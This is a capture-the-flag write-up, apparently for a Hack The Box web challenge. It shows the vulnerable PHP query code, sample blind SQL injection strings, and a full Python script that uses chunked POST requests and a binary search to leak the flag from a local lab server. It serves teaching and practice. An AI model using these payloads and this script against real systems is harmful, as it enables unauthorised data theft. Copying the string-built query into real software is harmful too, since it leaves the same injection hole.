Intro
Given that I’m currently grinding leetcode and app sec stuff, this challenge was super enjoyable.
The vulnerability is very straightforward and easy to spot, and you get to write a binary search script to leak the flag (you don’t have to, but it does offer optimal time complexity).
Walkthrough
There is an SQL injection available within the unsafequery()
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| function unsafequery($pdo, $id)
{
try
{
$stmt = $pdo->query("SELECT id, gamename, gamedesc, image FROM posts WHERE id = '$id'");
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
}
catch(Exception $e)
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
|
This unsafe function can only be called when we have the Transfer-Encoding: chunked
header in our request, but if the query succeeds then we will only see an error message.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
if ($result)
{
echo "<div class='results'>No post id found.</div>";
}
else
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
|
However, this is enough for blind SQL.
We can iterate over the indices of the flag value, and compare each substring of length 1 at that index with another character, and make educated guesses about the value of the flag.
Take a look at the following:
1
2
3
| SELECT id, gamename, gamedesc, image from posts where id = '1' AND 1=1 ;--
SELECT id, gamename, gamedesc, image from posts where id = '1' AND substr('HTB', 1, 1) = 'H' ;--
SELECT id, gamename, gamedesc, image FROM posts WHERE id = '1' AND substr((SELECT gamedesc FROM posts WHERE id = '6'), 1, 1) > 'A' ;--
|
All of these statements will execute successfully, giving us the No post id found
message.
It’s just a slightly more convuluted basic SQL injection, but you base your guess of the flag value based on whether the second condition resolves to True or False.
This is where leetcode comes in.
So the flag can contain any value from 0x20 to 0x7f (that is just the readable ASCII range).
So we can use a binary search algorithm to make a guess as to whether a character in the flag is greater or lesser than some mid range value.
We just take the mid point of 0x20 and 0x75, create a query that will give us the No post id found
message if the flag letter is greater, or give us a 500 error if its not.
Then we readjust the range, and keep repeating until only 1 character is left.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| #!/usr/bin/python3
import requests
URL = "http://localhost:1337"
PATH = "/Controllers/Handlers/SearchHandler.php"
def build_query(idx, c):
query = f"search=6' AND substr((SELECT gamedesc FROM posts where id = '6'), {idx}, 1) > '{c}' ;--"
payload = ""
payload += f"{len(query):X}\r\n"
payload += query
payload += "\r\n"
payload += "0\r\n"
payload += "\r\n"
return payload
def make_request(payload):
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Transfer-Encoding": "chunked"
}
r = requests.post(URL + PATH, data=payload, headers=headers)
if r.status_code == 200:
return True
else:
return False
def find_letter(idx):
start = 32
end = 127
while (end - start) > 0:
mid = (start + end) // 2
q = build_query(idx, chr(mid))
correct = make_request(q)
if correct:
start = mid + 1
else:
end = mid
return chr(start)
print("[i] LEAKING FLAG: ", end="")
letter = ""
ctr = 1
while letter != "}":
letter = find_letter(ctr)
print(letter, end="")
ctr += 1
|